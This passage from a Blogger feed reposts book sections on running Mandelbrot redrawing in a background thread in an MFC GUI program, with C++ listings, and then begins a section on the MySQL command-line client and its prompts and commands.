/&gt;const double bottom = 1.0;&lt;br /&gt;&lt;br /&gt;DWORD colors[64];&lt;br /&gt;&lt;br /&gt;typedef struct&lt;br /&gt;{&lt;br /&gt;   double real;&lt;br /&gt;   double imag;&lt;br /&gt;} complex;&lt;br /&gt;&lt;br /&gt;// Define the application object class&lt;br /&gt;class CManApp : public CWinApp&lt;br /&gt;{&lt;br /&gt;public:&lt;br /&gt;  virtual BOOL InitInstance();&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;// Define the edit window class&lt;br /&gt;class CManWindow : public CFrameWnd&lt;br /&gt;{&lt;br /&gt;public:&lt;br /&gt;   CManWindow();&lt;br /&gt;   void RunMandel();&lt;br /&gt;   void SetPix(int x, int y, WORD iter);&lt;br /&gt;   afx_msg void OnPaint();&lt;br /&gt;   afx_msg void OnDoDraw();&lt;br /&gt;   afx_msg void OnExit();&lt;br /&gt;   DECLARE_MESSAGE_MAP()&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;// Create an instance of the application object&lt;br /&gt;CManApp manApp;&lt;br /&gt;&lt;br /&gt;// member function used to set pixel colors in&lt;br /&gt;// the window&lt;br /&gt;void CManWindow::SetPix(int x, int y, WORD iter)&lt;br /&gt;{&lt;br /&gt;   CClientDC dc(this);&lt;br /&gt;   dc.SetPixel(x, y, colors[iter]);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// member function used to redraw the&lt;br /&gt;// mandelbrot set&lt;br /&gt;void CManWindow::RunMandel()&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;   CRect r;&lt;br /&gt;   double xstep, ystep;&lt;br /&gt;   double x, y;&lt;br /&gt;   int i,j;&lt;br /&gt;   WORD iter;&lt;br /&gt;   complex k;&lt;br /&gt;   complex z;&lt;br /&gt;   double real, imag, spread;&lt;br /&gt;&lt;br /&gt;   GetClientRect(&amp;amp;r);&lt;br /&gt;&lt;br /&gt;   ystep = (double) (bottom - top) / r.Height();&lt;br /&gt;   xstep = (double) (right - left) / r.Width();&lt;br /&gt;&lt;br /&gt;   for (y=top, j=0; y &amp;lt;= bottom; y += ystep, j++)&lt;br /&gt;   {&lt;br /&gt;     for (x=left, i=0; x&amp;lt;=right; x += xstep, i++)&lt;br /&gt;     {&lt;br /&gt;       k.real = x;&lt;br /&gt;       k.imag = y;&lt;br /&gt;       z.real=z.imag=0.0;&lt;br /&gt;&lt;br /&gt;       for (iter=0; iter&amp;lt;NUM_ITERATIONS-1;&lt;br /&gt;         iter++)&lt;br /&gt;       {&lt;br /&gt;         real = z.real + k.real;&lt;br /&gt;         imag = z.imag + k.imag;&lt;br /&gt;         z.real = real * real -&lt;br /&gt;            imag * imag;&lt;br /&gt;         z.imag = 2 * real * imag;&lt;br /&gt;         spread = z.real * z.real +&lt;br /&gt;           z.imag * z.imag;&lt;br /&gt;         if (spread &amp;gt; 4.0)&lt;br /&gt;           break;&lt;br /&gt;       }&lt;br /&gt;       ((CManWindow *)manApp.m_pMainWnd)-&amp;gt;&lt;br /&gt;          SetPix(i, j, iter);&lt;br /&gt;     }&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// The message map&lt;br /&gt;BEGIN_MESSAGE_MAP(CManWindow, CFrameWnd)&lt;br /&gt;   ON_WM_PAINT()&lt;br /&gt;   ON_COMMAND(IDM_DODRAW, OnDoDraw)&lt;br /&gt;   ON_COMMAND(IDM_EXIT, OnExit)&lt;br /&gt;END_MESSAGE_MAP()&lt;br /&gt;&lt;br /&gt;// Handler for the Draw menu option&lt;br /&gt;void CManWindow::OnDoDraw()&lt;br /&gt;{&lt;br /&gt;   // clear the window&lt;br /&gt;   CClientDC dc(this);&lt;br /&gt;   CRect r;&lt;br /&gt;   GetClientRect(&amp;amp;r);&lt;br /&gt;   dc.PatBlt(0, 0, r.Width(), r.Height(),&lt;br /&gt;      WHITENESS);&lt;br /&gt;   // Redraw the set&lt;br /&gt;   RunMandel();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Handler for WM_PAINT messages&lt;br /&gt;void CManWindow::OnPaint()&lt;br /&gt;{&lt;br /&gt;   // Do not do anything in response to&lt;br /&gt;   // paint events&lt;br /&gt;   ValidateRect(NULL);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Handler for the Exit menu option&lt;br /&gt;void CManWindow::OnExit()&lt;br /&gt;{&lt;br /&gt;   DestroyWindow();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// CManWindow constructor&lt;br /&gt;CManWindow::CManWindow()&lt;br /&gt;{&lt;br /&gt;   WORD x;&lt;br /&gt;   BYTE red=0, green=0, blue=0;&lt;br /&gt;&lt;br /&gt;   Create( NULL, ONormal Mandel ExampleO,&lt;br /&gt;     WS_OVERLAPPEDWINDOW,&lt;br /&gt;     CRect(0,0,150,150), NULL, OMainMenuO );&lt;br /&gt;   for (x=0; x&amp;lt;64; x++)&lt;br /&gt;   {&lt;br /&gt;       colors[x] = RGB(red, green, blue);&lt;br /&gt;       if (!(red += 64))&lt;br /&gt;          if (!(green += 64))&lt;br /&gt;             blue += 64;&lt;br /&gt;   }&lt;br /&gt;   colors[63] = RGB(255,255,255);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Initialize the CManApp m_pMainWnd data member&lt;br /&gt;BOOL CManApp::InitInstance()&lt;br /&gt;{&lt;br /&gt;   m_pMainWnd = new CManWindow();&lt;br /&gt;   m_pMainWnd -&amp;gt; ShowWindow( m_nCmdShow );&lt;br /&gt;   m_pMainWnd -&amp;gt; UpdateWindow();&lt;br /&gt;&lt;br /&gt;   return TRUE;&lt;br /&gt;}&lt;br /&gt;&lt;/PRe&gt;&lt;br /&gt;			&lt;br /&gt;			&lt;br /&gt;				&lt;h5&gt;&lt;br /&gt;Listing 6.7 The menus.h file used by Listing 6.6&lt;/h5&gt;&lt;br /&gt;				&lt;pre CLASs="monofont"&gt;&lt;br /&gt;// menus.h&lt;br /&gt;&lt;br /&gt;#define IDM_DODRAW       1001&lt;br /&gt;#define IDM_EXIT   1002&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;			&lt;br /&gt;			&lt;br /&gt;				&lt;H5&gt;&lt;br /&gt;Listing 6.8 The menus.rc resource file used to create the menus for Listing 5.6&lt;/H5&gt;&lt;br /&gt;				&lt;PRe class="monofont"&gt;&lt;br /&gt;// mandel.rc&lt;br /&gt;&lt;br /&gt;#include &amp;lt;windows.h&amp;gt;&lt;br /&gt;#include &amp;lt;afxres.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include "menus.h"&lt;br /&gt;&lt;br /&gt;MainMenu MENU&lt;br /&gt;{&lt;br /&gt;   POPUP "&amp;amp;File"&lt;br /&gt;  {&lt;br /&gt;      MENUITEM "&amp;amp;Draw", IDM_DODRAW&lt;br /&gt;      MENUITEM "E&amp;amp;xit", IDM_EXIT&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;			&lt;br /&gt;			&lt;p&gt;When you run the code shown in Listing 6.6, you will notice a serious problem with the application. Once the user selects the Draw option from the menu, the user cannot do anything, because the redrawing code prevents the event loop from running. The user cannot use the menu, quit the program, or minimize the program until the redrawing step completes. If the user does happen to click on anything, the event queue stores the clicks and plays them all rapidly once the redraw completes. If the application's window is full-screen and the machine is slow, it may be several minutes before a redraw completes and therefore before the user can do anything with the application.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;			&lt;p&gt;The situation presented here is common in any program that creates sophisticated displays. For example, a CAD/CAM program may have to extract 10,000 vectors from a database to refresh the screen for a complex drawing. Mapping programs, three-dimensional rendering programs, complex mathematical visualization programs, and others of the sort, all suffer from the same problem.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;			&lt;p&gt;Threads offer an easy solution to this problem. By placing all redrawing activity in one thread, you allow the user to continue to use the program while redrawing takes place in the background. From the user's standpoint, this is a major improvement over being locked out of the interface. From a programmer's standpoint, the thread solution is significantly easier to work with than the &lt;b&gt;OnIdle&lt;/B&gt; capability that MFC provides for solving this problem in non-threaded environments.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;			&lt;p&gt;Listing 6.9 contains a version of the Mandelbrot program that has a separate thread to handle redrawing. It works just like the code in Listing 6.6, except that the menus will function properly during redrawing. You can use the &lt;b&gt;Exit&lt;/b&gt; option to terminate the program even while redrawing is taking place.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;			&lt;br /&gt;				&lt;h5&gt;&lt;br /&gt;Listing 6.9 A multi-threaded version of the Mandelbrot program that uses a thread to handle redrawing&lt;/h5&gt;&lt;br /&gt;				&lt;pRE CLass="monofont"&gt;&lt;br /&gt;// mandel1.cpp&lt;br /&gt;&lt;br /&gt;#include &amp;lt;afxwin.h&amp;gt;&lt;br /&gt;#include "menus.h"&lt;br /&gt;&lt;br /&gt;#define NUM_ITERATIONS 64&lt;br /&gt;&lt;br /&gt;const double left = -1.0;&lt;br /&gt;const double right = 1.0;&lt;br /&gt;const double top = -1.0;&lt;br /&gt;const double bottom = 1.0;&lt;br /&gt;&lt;br /&gt;DWORD colors[64];&lt;br /&gt;&lt;br /&gt;typedef struct&lt;br /&gt;{&lt;br /&gt;   double real;&lt;br /&gt;   double imag;&lt;br /&gt;} complex;&lt;br /&gt;&lt;br /&gt;typedef struct&lt;br /&gt;{&lt;br /&gt;   WORD height;&lt;br /&gt;   WORD width;&lt;br /&gt;} mandelParams;&lt;br /&gt;&lt;br /&gt;// Define the application object class&lt;br /&gt;class CManApp : public CWinApp&lt;br /&gt;{&lt;br /&gt;public:&lt;br /&gt;   virtual BOOL InitInstance();&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;// Define the edit window class&lt;br /&gt;class CManWindow : public CFrameWnd&lt;br /&gt;{&lt;br /&gt;private:&lt;br /&gt;   HANDLE threadHandle;&lt;br /&gt;   mandelParams params;&lt;br /&gt;public:&lt;br /&gt;   CManWindow();&lt;br /&gt;   void RunMandel();&lt;br /&gt;   void SetPix(int x, int y, WORD iter);&lt;br /&gt;   afx_msg void OnPaint();&lt;br /&gt;   afx_msg void OnDoDraw();&lt;br /&gt;   afx_msg void OnExit();&lt;br /&gt;   DECLARE_MESSAGE_MAP()&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;// Create an instance of the application object&lt;br /&gt;CManApp manApp;&lt;br /&gt;&lt;br /&gt;// member function used to set pixel colors&lt;br /&gt;// in the window&lt;br /&gt;void CManWindow::SetPix(int x, int y, WORD iter)&lt;br /&gt;{&lt;br /&gt;   CClientDC dc(this);&lt;br /&gt;   dc.SetPixel(x, y, colors[iter]);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// the thread function which does the drawing&lt;br /&gt;DWORD MandelThread(mandelParams *params)&lt;br /&gt;{&lt;br /&gt;   double xstep, ystep;&lt;br /&gt;   double x, y;&lt;br /&gt;   int i,j;&lt;br /&gt;   WORD iter;&lt;br /&gt;   complex k;&lt;br /&gt;   complex z;&lt;br /&gt;   double real, imag, spread;&lt;br /&gt;&lt;br /&gt;   ystep = (double) (bottom - top) /&lt;br /&gt;      params-&amp;gt;height;&lt;br /&gt;   xstep = (double) (right - left) / params-&amp;gt;width;&lt;br /&gt;   for (y=top, j=0; y &amp;lt;= bottom; y += ystep, j++)&lt;br /&gt;   {&lt;br /&gt;     for (x=left, i=0; x&amp;lt;=right; x += xstep, i++)&lt;br /&gt;     {&lt;br /&gt;         k.real = x;&lt;br /&gt;         k.imag = y;&lt;br /&gt;         z.real=z.imag=0.0;&lt;br /&gt;&lt;br /&gt;         for (iter=0; iter&amp;lt;NUM_ITERATIONS-1;&lt;br /&gt;            iter++)&lt;br /&gt;         {&lt;br /&gt;            real = z.real + k.real;&lt;br /&gt;            imag = z.imag + k.imag;&lt;br /&gt;            z.real = real * real -&lt;br /&gt;               imag * imag;&lt;br /&gt;            z.imag = 2 * real * imag;&lt;br /&gt;            spread = z.real * z.real +&lt;br /&gt;               z.imag * z.imag;&lt;br /&gt;            if (spread &amp;gt; 4.0)&lt;br /&gt;               break;&lt;br /&gt;         }&lt;br /&gt;       ((CManWindow *)manApp.m_pMainWnd)-&amp;gt;&lt;br /&gt;          SetPix(i, j, iter);&lt;br /&gt;     }&lt;br /&gt;   }&lt;br /&gt;   return(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// member function used to instigate&lt;br /&gt;// the drawing thread&lt;br /&gt;void CManWindow::RunMandel()&lt;br /&gt;{&lt;br /&gt;   DWORD threadID;&lt;br /&gt;   CRect r;&lt;br /&gt;&lt;br /&gt;   GetClientRect(&amp;amp;r);&lt;br /&gt;   params.height=r.Height();&lt;br /&gt;   params.width=r.Width();&lt;br /&gt;&lt;br /&gt;   threadHandle=CreateThread(NULL, 0,&lt;br /&gt;      (LPTHREAD_START_ROUTINE) MandelThread,&lt;br /&gt;      &amp;amp;params, 0, &amp;amp;threadID);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// The message map&lt;br /&gt;BEGIN_MESSAGE_MAP(CManWindow, CFrameWnd)&lt;br /&gt;   ON_WM_PAINT()&lt;br /&gt;   ON_COMMAND(IDM_DODRAW, OnDoDraw)&lt;br /&gt;   ON_COMMAND(IDM_EXIT, OnExit)&lt;br /&gt;END_MESSAGE_MAP()&lt;br /&gt;&lt;br /&gt;// Handler for the Start/Stop menu option&lt;br /&gt;void CManWindow::OnDoDraw()&lt;br /&gt;{&lt;br /&gt;   DWORD threadStatus;&lt;br /&gt;   BOOL status;&lt;br /&gt;&lt;br /&gt;   status = GetExitCodeThread(threadHandle,&lt;br /&gt;      &amp;amp;threadStatus);&lt;br /&gt;   if (threadStatus == STILL_ACTIVE)&lt;br /&gt;   {&lt;br /&gt;      // stop the existing thread&lt;br /&gt;      TerminateThread(threadHandle, 0);&lt;br /&gt;      CloseHandle(threadHandle);&lt;br /&gt;}&lt;br /&gt;   // clear the window&lt;br /&gt;   CClientDC dc(this);&lt;br /&gt;   CRect r;&lt;br /&gt;   GetClientRect(&amp;amp;r);&lt;br /&gt;   dc.PatBlt(0, 0, r.Width(), r.Height(),&lt;br /&gt;      WHITENESS);&lt;br /&gt;   // redraw&lt;br /&gt;   RunMandel();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Handler for WM_PAINT messages&lt;br /&gt;void CManWindow::OnPaint()&lt;br /&gt;{&lt;br /&gt;   ValidateRect(NULL);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Handler for the Exit menu option&lt;br /&gt;void CManWindow::OnExit()&lt;br /&gt;{&lt;br /&gt;   CloseHandle(threadHandle);&lt;br /&gt;   DestroyWindow();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// CManWindow constructor&lt;br /&gt;CManWindow::CManWindow()&lt;br /&gt;{&lt;br /&gt;   WORD x;&lt;br /&gt;   BYTE red=0, green=0, blue=0;&lt;br /&gt;  &lt;br /&gt;   Create( NULL, OThreaded Mandel ExampleO,&lt;br /&gt;     WS_OVERLAPPEDWINDOW,&lt;br /&gt;     CRect(0,0,150,150), NULL, OMainMenuO );&lt;br /&gt;   for (x=0; x&amp;lt;64; x++)&lt;br /&gt;   {&lt;br /&gt;     colors[x] = RGB(red, green, blue);&lt;br /&gt;     if (!(red += 64))&lt;br /&gt;        if (!(green += 64))&lt;br /&gt;           blue += 64;&lt;br /&gt;   }&lt;br /&gt;   colors[63] = RGB(255,255,255);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Initialize the CManApp m_pMainWnd data member&lt;br /&gt;BOOL CManApp::InitInstance()&lt;br /&gt;{&lt;br /&gt;   m_pMainWnd = new CManWindow();&lt;br /&gt;   m_pMainWnd -&amp;gt; ShowWindow( m_nCmdShow );&lt;br /&gt;   m_pMainWnd -&amp;gt; UpdateWindow();&lt;br /&gt;&lt;br /&gt;   return TRUE;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;			&lt;br /&gt;			&lt;p&gt;If you compare the code in Listing 6.6 and Listing 6.9, you will find only minor differences. First, the &lt;b&gt;OnDoDraw&lt;/b&gt; function in Listing 6.9 must check to see if a redrawing thread is active before it starts a new one. The &lt;b&gt;GetExitCodeThread&lt;/B&gt; function is used here, but the &lt;B&gt;WaitForSingleObject&lt;/b&gt; function seen in the previous section would work just as well. If the &lt;b&gt;OnDoDraw&lt;/b&gt; function finds an active thread, it kills the thread. It then clears the window and calls &lt;B&gt;RunMandel,&lt;/b&gt; just as Listing 6.6 does.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;			&lt;p&gt;The &lt;b&gt;RunMandel&lt;/B&gt; function now has two pieces. The first piece, &lt;B&gt;RunMandel&lt;/B&gt; itself, sets up a parameter structure and calls &lt;B&gt;CreateThread&lt;/b&gt; to start the thread function. The thread function is called &lt;b&gt;MandelThread,&lt;/b&gt; and it contains all of the actual redrawing code. The code is not any different from the redrawing code seen in Listing 6.6, except that the threaded version takes its width and height from the parameter structure.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;			&lt;p&gt;You can see here that the addition of a thread to an MFC program is fairly straightforward. In any application that you create, you can place the redrawing step in the background by following the same pattern seen in this code. It is also easy to place any sort of recalculation code in a thread using the same techniques.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;		&lt;/FONT&gt;&lt;br /&gt;&lt;br&gt;&lt;TABLE border=0 width="100%" cellspacing=0 cellpadding=0&gt;&lt;TR&gt;&lt;td align=right width="15%" class="headingsubbarbg"&gt;&lt;font size="1"&gt;&amp;lt;&amp;nbsp;BACK&amp;nbsp;&amp;nbsp&lt;font size="1"&gt;NEXT&amp;nbsp;&amp;gt;&lt;/td&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-307814118953619591?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/307814118953619591/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/64-using-threads-in-gui-applications.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/307814118953619591'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/307814118953619591'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/64-using-threads-in-gui-applications.html' title='6.4 Using Threads in GUI Applications'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-7292921683578828981</id><published>2009-11-13T07:50:00.019-08:00</published><updated>2009-11-13T07:50:18.695-08:00</updated><title type='text'>Section 8.1.  MySQL Database</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;h3 id="title-IDAG21EF" class="docSection1Title"&gt;8.1. MySQL Database&lt;/h3&gt;&lt;br /&gt;&lt;p class="docText"&gt;MySQL has its own client interface, allowing you to move data around and change database configuration. Note that you must use a password to log in. Assigning database &lt;span class="docEmphasis"&gt;users&lt;/span&gt; allows you to limit access to server tables that have multiple users. Each MySQL server, where tables are grouped together, can host many databases. Normally, a web application has its own proprietary database.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;You may have installed MySQL yourself or have access through your ISP. Most ISPs that support PHP also provide a MySQL database for your use. Should you have difficulty, check their support pages or contact them to determine connection details. You'll need to know the following:&lt;/p&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;p class="docList"&gt;The IP address of the database server&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;The name of the database&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;The username&lt;/P&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;The password&lt;/P&gt;&lt;/LI&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p class="docText"&gt;If you've installed MySQL on your computer, you'll be able to use the defaults from the installation and the password you specified. This chapter looks at two ways to communicate with MySQL, the command line &lt;br /&gt; and phpMyAdmin, a web-based tool.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 id="title-IDAL31EF" class="docSection2Title"&gt;8.1.1. Accessing the Database with the Command Line&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;One way of communicating with MySQL is via the MySQL Command Line Client. &lt;br /&gt; Depending on which operating system you're using, you either need to open a command shell for Windows (type &lt;tt&gt;cmd&lt;/tt&gt; from the Run dialog, as shown in Figure 8-1) or open a terminal session, in Mac OS X and Unix environments.&lt;/p&gt;&lt;br /&gt;&lt;P&gt;&lt;/P&gt;&lt;center&gt;&lt;br /&gt;&lt;h5 class="docFigureTitle"&gt;Figure 8-1. Windows Run dialog&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;/center&gt;&lt;/P&gt;&lt;br&gt;&lt;br /&gt;&lt;p class="docText"&gt;Once you reach the command line, type &lt;tt&gt;mysql&lt;/tt&gt; and press Enter. The syntax for the &lt;tt&gt;mysql&lt;/tt&gt; command is:&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;mysql -h &lt;tt&gt;&lt;I&gt;hostname&lt;/i&gt;&lt;/tt&gt; -u &lt;tt&gt;&lt;i&gt;user&lt;/i&gt;&lt;/tt&gt; -p&lt;br /&gt;&lt;/pre&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;If you've installed MySQL on your computer, the default username is &lt;tt&gt;root&lt;/tt&gt;. You can omit the hostname flag and value. Enter your password when MySQL displays the "Enter password" prompt. &lt;br /&gt; If the password, username, and hostname are correct, you'll see a banner message like that in Figure 8-2.&lt;/P&gt;&lt;br /&gt;&lt;P&gt;&lt;/P&gt;&lt;center&gt;&lt;br /&gt;&lt;h5 class="docFigureTitle"&gt;Figure 8-2. A successful login to MySQL&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;/center&gt;&lt;/p&gt;&lt;br&gt;&lt;br /&gt;&lt;p class="docText"&gt;Don't let the MySQL command-line interface alarm you; it's not difficult to use.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 id="title-IDAX51EF" class="docSection3Title"&gt;8.1.1.1. Prompts&lt;/H5&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;At the MySQL prompt, you can enter database commands followed by Enter. There is also a set of commands that MySQL itself interprets. For a list of these commands, type &lt;tt&gt;help&lt;/tt&gt; or &lt;tt&gt;\h&lt;/tt&gt; at the &lt;tt&gt;mysql&amp;gt;&lt;/tt&gt; prompt. Table 8-1 shows some of the prompts you'll see and summarizes what they mean.&lt;/p&gt;&lt;br /&gt;&lt;P&gt;&lt;table cellspacing="0" FRAME="hsides" RULES="all" cellpadding="4" width="100%"&gt;&lt;caption&gt;&lt;H5 class="docTableTitle"&gt;Table 8-1. Command prompt meanings&lt;/H5&gt;&lt;/caption&gt;&lt;colgroup span="2"&gt;&lt;col&gt;&lt;col&gt;&lt;/colgroup&gt;&lt;thead&gt;&lt;tr&gt;&lt;th class="thead" scope="col" align="left"&gt;&lt;p class="docText"&gt;Prompt&lt;/p&gt;&lt;/th&gt;&lt;th class="thead" scope="col" align="left"&gt;&lt;p class="docText"&gt;Meaning&lt;/p&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tr&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;&lt;tt&gt;mysql&amp;gt;&lt;/tt&gt;&lt;/p&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;Waiting for a command&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;&lt;tt&gt;-&amp;gt;&lt;/tt&gt;&lt;/P&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;Waiting for the next line of a command&lt;/P&gt;&lt;/TD&gt;&lt;/tr&gt;&lt;TR&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;&lt;tt&gt;'&amp;gt;&lt;/tt&gt;&lt;/p&gt;&lt;/td&gt;&lt;TD class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;Waiting for the next line of a string that starts with a single quote&lt;/p&gt;&lt;/td&gt;&lt;/TR&gt;&lt;tr&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;&lt;tt&gt;"&amp;gt;&lt;/tt&gt;&lt;/P&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;Waiting for the next line of a string that starts with a double quote&lt;/p&gt;&lt;/td&gt;&lt;/TR&gt;&lt;/table&gt;&lt;/P&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 id="title-IDAJD2EF" class="docSection3Title"&gt;8.1.1.2. Commands&lt;/h5&gt;&lt;br /&gt;&lt;p class="docText"&gt;Table 8-2 lists commands &lt;br /&gt; that are available at the MySQL &lt;br /&gt; prompt.&lt;/p&gt;&lt;br /&gt;&lt;P&gt;&lt;table cellspacing="0" FRAME="hsides" RULES="all" cellpadding="4" width="100%"&gt;&lt;caption&gt;&lt;h5 class="docTableTitle"&gt;Table 8-2. MySQL client commands&lt;/H5&gt;&lt;/caption&gt;&lt;colgroup span="3"&gt;&lt;col&gt;&lt;col&gt;&lt;col&gt;&lt;/colgroup&gt;&lt;thead&gt;&lt;tr&gt;&lt;th class="thead" scope="col" align="left"&gt;&lt;p class="docText"&gt;Command&lt;/P&gt;&lt;/th&gt;&lt;th class="thead" scope="col" align="left"&gt;&lt;p class="docText"&gt;Parameter&lt;/P&gt;&lt;/th&gt;&lt;th class="thead" scope="col" align="left"&gt;&lt;p class="docText"&gt;Meaning&lt;/P&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tr&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;&lt;tt&gt;quit&lt;/tt&gt;&lt;/p&gt;&lt;/td&gt;&lt;td class="docTableCell"&gt;&amp;nbsp;&lt;/td&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;Exit the command-line utility&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;&lt;tt&gt;use&lt;/tt&gt;&lt;/p&gt;&lt;/TD&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;Database name&lt;/p&gt;&lt;/TD&gt;&lt;TD class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;Use a specific database&lt;/p&gt;&lt;/TD&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;&lt;tt&gt;show&lt;/tt&gt;&lt;/P&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;&lt;tt&gt;tables&lt;/tt&gt; or &lt;tt&gt;databases&lt;/tt&gt;&lt;/P&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;Show lists such as tables or databases available&lt;/P&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;&lt;tt&gt;describe&lt;/tt&gt;&lt;/P&gt;&lt;/TD&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;Table name&lt;/p&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;Describe a table's columns&lt;/P&gt;&lt;/td&gt;&lt;/TR&gt;&lt;tr&gt;&lt;TD class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;&lt;tt&gt;status&lt;/tt&gt;&lt;/P&gt;&lt;/TD&gt;&lt;td class="docTableCell"&gt;&amp;nbsp;&lt;/td&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;Display database version and status&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;&lt;tt&gt;source&lt;/tt&gt;&lt;/p&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;Filename&lt;/p&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left"&gt;&lt;p class="docText"&gt;Execute commands from a file as a script&lt;/P&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/P&gt;&lt;BR&gt;&lt;br 